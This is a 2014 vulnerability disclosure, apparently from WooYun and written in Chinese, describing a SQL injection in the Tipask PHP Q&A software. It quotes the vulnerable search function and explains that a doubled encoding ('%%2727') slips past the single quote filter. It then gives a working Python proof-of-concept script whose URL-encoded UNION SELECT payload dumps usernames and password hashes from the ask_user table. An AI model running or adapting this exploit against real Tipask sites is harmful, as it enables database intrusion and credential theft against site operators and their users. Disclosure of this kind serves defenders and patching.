[公开漏洞]tipaskSQL注入漏洞(无视GPC)

来源:WooYun 浏览:933次 时间:2014-07-05
做网站找雨过天晴工作室
tipaskSQL注入漏洞(无视GPC) 相关厂商: tipask 漏洞作者:evil4hi 提交时间:2014-04-06 17:26 公开时间:2014-07-05 17:27 漏洞类型:SQL注射漏洞 危害等级:高 自评Rank:15 漏洞状态: 未联系到厂商或者厂商积极忽略 漏洞来源:http://www.wooyun.org Tags标签: php源码审核 漏洞详情 披露状态:

2014-04-06:积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-05:厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某处过滤不全 再次过滤还是未考虑全

详细说明:

function onsearch() {
$qstatus = $status = $this->get[3] ? $this->get[3] : 1;
(1 == $status) && ($qstatus = "1,2,6,9");
(2 == $status) && ($qstatus = "2,6");
$word = urldecode($this->post['word'] ? str_replace("%27", "", $this->post['word']) : $this->get[2]);
(!trim($word)) && $this->message("搜索关键词不能为空!", 'BACK');
$navtitle = $word . '-搜索问题';
@$page = max(1, intval($this->get[4]));
$pagesize = $this->setting['list_default'];
$startindex = ($page - 1) * $pagesize;
if (preg_match("/^tag:(.+)/", $word, $tagarr)) {
$tag = $tagarr[1];
$rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus);
$questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize);
} else {
$questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize);
$rownum = $_ENV['question']->search_title_num($word, $qstatus);
}
$related_words = $_ENV['question']->get_related_words();
$hot_words = $_ENV['question']->get_hot_words();
$corrected_words = $_ENV['question']->get_corrected_word($word);
$departstr = page($rownum, $pagesize, $page, "question/search/$word/$status");
include template('search');



传进来的参数是urlencode的 然后绕过了gpc,传进来的过滤了%27,那么%%2727就可以绕过。

然后就是注入了。

漏洞证明:

#coding=GBK

import requests
import re

payload = {'word':'61%64%6D%69%6E%%2727%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35%2C%36%2C%37%2C%38%2C%63%6F%6E%63%61%74%28%75%73%65%72%6E%61%6D%65%2C%30%78%32%34%2C%70%61%73%73%77%6F%72%64%29%2C%31%30%2C%31%31%2C%31%32%2C%31%33%2C%31%34%2C%31%35%2C%31%36%2C%31%37%2C%31%38%2C%31%39%2C%32%30%20%66%72%6F%6D%20%61%73%6B%5F%75%73%65%72%20%23'}
html = requests.post('http://localhost/tipask/?question/search/',params=payload).text
all = re.findall("(\w+?)\$(\w+)", html)
for username, password in all:
print username, password

修复方案:

过滤

版权声明:转载请注明来源 evil4hi@乌云 漏洞回应 厂商回应:

未能联系到厂商或者厂商积极拒绝